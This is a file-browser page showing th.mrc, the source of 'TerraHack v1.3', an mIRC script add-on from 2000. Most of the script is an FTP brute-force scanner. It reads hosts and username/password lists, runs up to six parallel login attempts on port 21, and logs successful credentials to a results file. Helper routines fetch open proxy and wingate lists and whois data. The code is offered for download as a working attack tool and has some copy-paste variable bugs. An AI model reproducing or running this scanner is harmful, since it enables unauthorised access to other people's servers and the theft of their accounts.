Stealth Script — File Browser
StealthScriptv1.0 / StealthScriptv1.0 / Stealth / TerraHack / th.mrc
th.mrc — 13.14 KB — Download this file
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;::: -[ TerraHack v1.3 ]- Add-On for mIRC v5.7 or newer
;::: (c) 2000 keyDet79 - keydet@zilex.net
;::: Start by typing /terrahack or by clicking on it in the Menubar
;::: For more info and scripts created by me, go to http://www.zilex.net
;::: Look for me on irc.msn.com - #xakep #unix #root
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
on *:load:{
load -rs terrahack\th1
load -rs terrahack\th2
set %lag79 10
set %socks79 7
echo -a [×] Thank you for installing -[ TerraHack v1.3 ]- by keyDet79
echo -a [×] You can start the script by typing /TerraHack or by clicking on it in the Menubar
echo -a [×] If the script doesn't work, unzip it again, directly to your mirc dir.
echo -a [×] Please check out www.zilex.net for more scripts
}
menu menubar {
-
-[ TerraHack ]-:TerraHack
}
menu status {
-
-[ TerraHack ]-:TerraHack
}
menu channel {
-
-[ TerraHack ]-:TerraHack
}
alias terrahack {
.splay $mircdir\TerraHack\start.wav
dialog -md Menu Menu
}
alias startftps1 {
:starter
inc %readtimes1
set %site $read -l $+ %readtimes TerraHack\Servers
set %autostuff1 $read -l $+ %readtimes1 TerraHack\User-Pass
if (%autostuff1 == $null) { set %readtimes1 0 | inc %readtimes | did -r ftps 8 | goto starter }
if (%site == $null) { set %readtimes 1 | sockclose FTPs* | did -a ftps 8 -[ Scan Complete ]- | splay $mircdir\TerraHack\beep.wav | .timer94* off | halt }
:ender
if ($1 == all) { startftps11 %site %autostuff1 | startftps21 %site %autostuff1 | startftps31 %site %autostuff1 | startftps41 %site %autostuff1 | startftps51 %site %autostuff1 | startftps61 %site %autostuff1 }
if ($1 == 1) { startftps11 %site %autostuff1 }
if ($1 == 2) { startftps21 %site %autostuff1 }
if ($1 == 3) { startftps31 %site %autostuff1 }
if ($1 == 4) { startftps41 %site %autostuff1 }
if ($1 == 5) { startftps51 %site %autostuff1 }
if ($1 == 6) { startftps61 %site %autostuff1 }
}
alias startftps11 {
if ($1) {
if ($2) { set %autouser1 $2 }
if ($3) { set %autopass1 $3 }
set %sbig1 $rand(4,10)
set %startport1 $rand(1,20)
sockclose FTPs1
sockclose FTP1SERVE
set %site1 $1
.timer941 off
.timer941 1 %lag79 { timeout1 }
sockopen FTPs1 $1 21
}
}
on 1:sockopen:FTPs1: {
did -r ftps 9
did -a ftps 9 1: %site1
if ($sockerr > 1) { did -a ftps 8 1: Connection Error | set %readtimes1 0 | inc %readtimes | did -r ftps 9 | startftps1 1 }
did -a ftps 8 1: Connecting
}
on 1:sockclose:FTPs1: {
did -a ftps 8 1: Connection Terminated
if (%sockclose == host) { startftps1 1 }
}
on 1:sockread:FTPs1: {
sockread %params1
set %nmic1 $gettok(%params1,1,32)
if (%nmic1 == 250) || (%nmic1 == 230) {
if ( log isin %params1) {
write TerraHack\Results.log %site1 - %autouser1 %autopass1
did -a ftps 8 -[1: LOGGED IN !! ]-
splay $mircdir\TerraHack\beep.wav
startftps1 1
}
}
if (%nmic1 == 220) {
if (%autouser1) { did -a ftps 8 1: %autouser1 %autopass1 | fsock 1 USER %autouser1 | halt }
halt
}
if (%nmic1 == 331) { fsock 1 PASS %autopass1 | halt }
if (%nmic1 == 530) { did -a ftps 8 1: Login incorrect | startftps1 1 }
}
alias startftps21 {
if ($1) {
if ($2) { set %autouser2 $2 }
if ($3) { set %autopass2 $3 }
set %sbig2 $rand(4,10)
set %startport2 $rand(1,20)
sockclose FTPs2
sockclose FTP2SERVE
set %site2 $1
.timer942 off
.timer942 1 %lag79 { timeout2 }
sockopen FTPs2 $1 21
}
}
on 1:sockopen:FTPs2: {
did -r ftps 10
did -a ftps 10 2: %site2
if ($sockerr > 1) { did -a ftps 8 2: Connection Error | set %readtimes1 0 | inc %readtimes | did -r ftps 10 | startftps1 2 }
did -a ftps 8 2: Connecting
}
on 1:sockclose:FTPs2: {
did -a ftps 8 2: Connection Terminated
if (%sockclose == host) { startftps1 2 }
}
on 1:sockread:FTPs2: {
sockread %params2
set %nmic2 $gettok(%params2,1,32)
if (%nmic2 == 250) || (%nmic2 == 230) {
if ( log isin %params2) {
did -a ftps 8 -[2: LOGGED IN !! ]-
splay $mircdir\TerraHack\beep.wav
write TerraHack\Results.log %site2 - %autouser2 %autopass2
startftps1 2
}
}
if (%nmic2 == 220) {
if (%autouser2) { did -a ftps 8 2: %autouser2 %autopass2 | fsock 2 USER %autouser2 | halt }
halt
}
if (%nmic2 == 331) { fsock 2 PASS %autopass2 | halt }
if (%nmic2 == 530) { did -a ftps 8 2: Login incorrect | startftps1 2 }
}
alias startftps31 {
if ($1) {
if ($2) { set %autouser3 $2 }
if ($3) { set %autopass3 $3 }
set %sbig3 $rand(4,10)
set %startport3 $rand(1,20)
sockclose FTPs3
sockclose FTP3SERVE
set %site3 $1
.timer943 off
.timer943 1 %lag79 { timeout3 }
sockopen FTPs3 $1 21
}
}
on 1:sockopen:FTPs3: {
did -r ftps 11
did -a ftps 11 3: %site3
if ($sockerr > 1) { did -a ftps 8 3: Connection Error | set %readtimes1 0 | inc %readtimes | did -r ftps 11 | startftps1 3 }
did -a ftps 8 3: Connecting
}
on 1:sockclose:FTPs3: {
did -a ftps 8 3: Connection Terminated
if (%sockclose == host) { startftps1 3 }
}
on 1:sockread:FTPs3: {
sockread %params3
set %nmic3 $gettok(%params3,1,32)
if (%nmic3 == 250) || (%nmic3 == 230) {
if ( log isin %params3) {
did -a ftps 8 -[3: LOGGED IN !! ]-
splay $mircdir\TerraHack\beep.wav
write TerraHack\Results.log %site3 - %autouser3 %autopass3
startftps1 3
}
}
if (%nmic3 == 220) {
if (%autouser3) { did -a ftps 8 3: %autouser3 %autopass3 | fsock 3 USER %autouser3 | halt }
halt
}
if (%nmic3 == 331) { fsock 3 PASS %autopass3 | halt }
if (%nmic3 == 530) { did -a ftps 8 3: Login incorrect | startftps1 3 }
}
alias startftps41 {
if ($1) {
if ($2) { set %autouser4 $2 }
if ($3) { set %autopass4 $3 }
set %sbig4 $rand(4,10)
set %startport4 $rand(1,20)
sockclose FTPs4
sockclose FTP4SERVE
set %site4 $1
.timer944 off
.timer944 1 %lag79 { timeout4 }
sockopen FTPs4 $1 21
}
}
on 1:sockopen:FTPs4: {
did -r ftps 12
did -a ftps 12 4: %site4
if ($sockerr > 1) { did -a ftps 8 4: Connection Error | set %readtimes1 0 | inc %readtimes | did -r ftps 12 | startftps1 4 }
did -a ftps 8 4: Connecting
}
on 1:sockclose:FTPs4: {
did -a ftps 8 4: Connection Terminated
if (%sockclose == host) { startftps1 4 }
}
on 1:sockread:FTPs4: {
sockread %params4
set %nmic4 $gettok(%params4,1,32)
if (%nmic4 == 250) || (%nmic4 == 230) {
if ( log isin %params4) {
did -a ftps 8 -[4: LOGGED IN !! ]-
splay $mircdir\TerraHack\beep.wav
write TerraHack\Results.log %site4 - %autouser4 %autopass4
startftps1 4
}
}
if (%nmic4 == 220) {
if (%autouser4) { did -a ftps 8 4: %autouser4 %autopass4 | fsock 4 USER %autouser4 | halt }
halt
}
if (%nmic4 == 331) { fsock 4 PASS %autopass4 | halt }
if (%nmic4 == 530) { did -a ftps 8 4: Login incorrect | startftps1 4 }
}
alias startftps51 {
if ($1) {
if ($2) { set %autouser2 $2 }
if ($3) { set %autopass2 $3 }
set %sbig5 $rand(4,10)
set %startport5 $rand(1,20)
sockclose FTPs5
sockclose FTP5SERVE
set %site5 $1
.timer945 off
.timer945 1 %lag79 { timeout5 }
sockopen FTPs5 $1 21
}
}
on 1:sockopen:FTPs5: {
did -r ftps 13
did -a ftps 13 5: %site5
if ($sockerr > 1) { did -a ftps 8 5: Connection Error | set %readtimes1 0 | inc %readtimes | did -r ftps 13 | startftps1 5 }
did -a ftps 8 5: Connecting
}
on 1:sockclose:FTPs5: {
did -a ftps 8 5: Connection Terminated
if (%sockclose == host) { startftps1 5 }
}
on 1:sockread:FTPs5: {
sockread %params5
set %nmic5 $gettok(%params5,1,32)
if (%nmic5 == 250) || (%nmic5 == 230) {
if ( log isin %params5) {
did -a ftps 8 -[5: LOGGED IN !! ]-
splay $mircdir\TerraHack\beep.wav
write TerraHack\Results.log %site5 - %autouser5 %autopass5
startftps1 5
}
}
if (%nmic5 == 220) {
if (%autouser5) { did -a ftps 8 5: %autouser5 %autopass5 | fsock 5 USER %autouser5 | halt }
halt
}
if (%nmic5 == 331) { fsock 5 PASS %autopass5 | halt }
if (%nmic5 == 530) { did -a ftps 8 5: Login incorrect | startftps1 5 }
}
alias startftps61 {
if ($1) {
if ($2) { set %autouser6 $2 }
if ($3) { set %autopass6 $3 }
set %sbig6 $rand(4,10)
set %startport6 $rand(1,20)
sockclose FTPs6
sockclose FTP6SERVE
set %site6 $1
.timer946 off
.timer946 1 %lag79 { timeout6 }
sockopen FTPs6 $1 21
}
}
on 1:sockopen:FTPs6: {
did -r ftps 14
did -a ftps 14 6: %site6
if ($sockerr > 1) { did -a ftps 8 6: Connection Error | set %readtimes1 0 | inc %readtimes | did -r ftps 14 | startftps1 6 }
did -a ftps 8 6: Connecting
}
on 1:sockclose:FTPs6: {
did -a ftps 8 6: Connection Terminated
if (%sockclose == host) { startftps1 6 }
}
on 1:sockread:FTPs6: {
sockread %params6
set %nmic6 $gettok(%params6,1,32)
if (%nmic6 == 250) || (%nmic6 == 230) {
if ( log isin %params3) {
did -a ftps 8 -[6: LOGGED IN !! ]-
splay $mircdir\TerraHack\beep.wav
write TerraHack\Results.log %site6 - %autouser6 %autopass6
startftps1 6
}
}
if (%nmic6 == 220) {
if (%autouser6) { did -a ftps 8 6: %autouser6 %autopass6 | fsock 3 USER %autouser6 | halt }
halt
}
if (%nmic6 == 331) { fsock 6 PASS %autopass6 | halt }
if (%nmic6 == 530) { did -a ftps 8 6: Login incorrect | startftps1 6 }
}
alias -l fsock {
if ($1 == 1) {
if ($sock(FTPs1) == $null) { did -a ftps 8 1: Connection Lost | halt }
sockwrite -n FTPs1 $2-
}
if ($1 == 2) {
if ($sock(FTPs2) == $null) { did -a ftps 8 2: Connection Lost | halt }
sockwrite -n FTPs2 $2-
}
if ($1 == 3) {
if ($sock(FTPs3) == $null) { did -a ftps 8 3: Connection Lost | halt }
sockwrite -n FTPs3 $2-
}
if ($1 == 4) {
if ($sock(FTPs4) == $null) { did -a ftps 8 4: Connection Lost | halt }
sockwrite -n FTPs4 $2-
}
if ($1 == 5) {
if ($sock(FTPs5) == $null) { did -a ftps 8 5: Connection Lost | halt }
sockwrite -n FTPs5 $2-
}
if ($1 == 6) {
if ($sock(FTPs6) == $null) { did -a ftps 8 6: Connection Lost | halt }
sockwrite -n FTPs6 $2-
}
}
alias timeout1 { startftps1 1 | did -a ftps 8 1: Timeout }
alias timeout2 { startftps1 2 | did -a ftps 8 2: Timeout }
alias timeout3 { startftps1 3 | did -a ftps 8 3: Timeout }
alias timeout4 { startftps1 4 | did -a ftps 8 4: Timeout }
alias timeout5 { startftps1 5 | did -a ftps 8 5: Timeout }
alias timeout6 { startftps1 6 | did -a ftps 8 6: Timeout }
alias whoiserx {
.splay $mircdir\TerraHack\beep.wav
set %get79 /cgi-bin/checkdomain.pl?domain= $+ %whoizerx
set %host79 www.checkdomain.com
set %switch <P><DT><FONT
window -dok +el @Whois 100 200 600 260 Arial 11
background -p @whois terrahack/ter.jpg
echo @whois -[ Loading... ]-
retr79 %host79 %get79 %switch
}
alias replace79 {
clear @whois
unset %repcount
:beginner
inc %repcount
if (%repcount == 9) { halt }
set %rep $read -l $+ %repcount terrahack\log.tmp
set %rep2 [×] $replace(%rep,<P><DT><FONT COLOR="#000066"><B>, $chr(32),</B></FONT></DT> <DD><A HREF=, $chr(32),</B></FONT></DT> <DD>, $chr(32),<BR>,. -- .,</A>,$chr(32),</DD></P>,$chr(32),<A HREF="mailto:,$chr(32),<A HREF="mailto:,$chr(32),",$chr(32),>,$chr(32),Last Updated:,Last Updated:,Technical Contact,Technical Contact,Zone Contact,Zone Contact,Name Servers:,Name Servers:)
echo @whois $replace(%rep2,<TABLE BORDER,$chr(32),=0 CELLPADDING=0,$chr(32),CELLSPACING=0 <TR,$chr(32),<TD,$chr(32),</TD,$chr(32),WIDTH=35 ,-,</TR <TR,---,</TR </TABLE,$chr(32),</DL,$chr(32),<A HREF=,$chr(32),Owner:,Owner:,Address:,Address:,First Registered:,First Registered:,Administrative Contact,Administrative Contact,Billing Contact,Billing Contact,Information Source:,Information Source:)
goto beginner
}
alias proxiex {
.splay $mircdir\TerraHack\beep.wav
if ($1 == proxy) { set %retriever6 Proxy }
if ($1 == wingate) { set %retriever6 Wingate }
set %get79 /web/lynxview.cgi?url=http%3A%2F%2Fwww.cyberarmy.com%2Flists%2F $+ $1
set %host79 www.delorie.com
set %switch <b>
window -dok +el @Proxies 200 150 300 400 Arial 11
background -p @proxies terrahack/ter.jpg
echo @proxies -[ Loading... ]-
retr79 %host79 %get79 %switch
}
alias proxierep {
if ($1 == beginner) goto beginner
clear @proxies
echo @proxies %retriever6 - Port
unset %repcount
:beginner
inc %repcount
if (%repcount == 35) { unset %retriever6 | halt }
set %rep $read -l $+ %repcount terrahack\log.tmp
set %rep2 $replace(%rep,<b>,$chr(32),</b>,$chr(32))
if ([ isin %rep2) { prxrep %rep2 }
goto beginner
}
alias prxrep { echo @proxies [×] $1 - $3 | proxierep beginner }
alias hacknews {
.splay $mircdir\TerraHack\beep.wav
window -dok +el @HackerNews 80 130 700 400 Arial 11
background -p @hackernews terrahack/ter.jpg
retr79 www.hackernews.com /index.html
}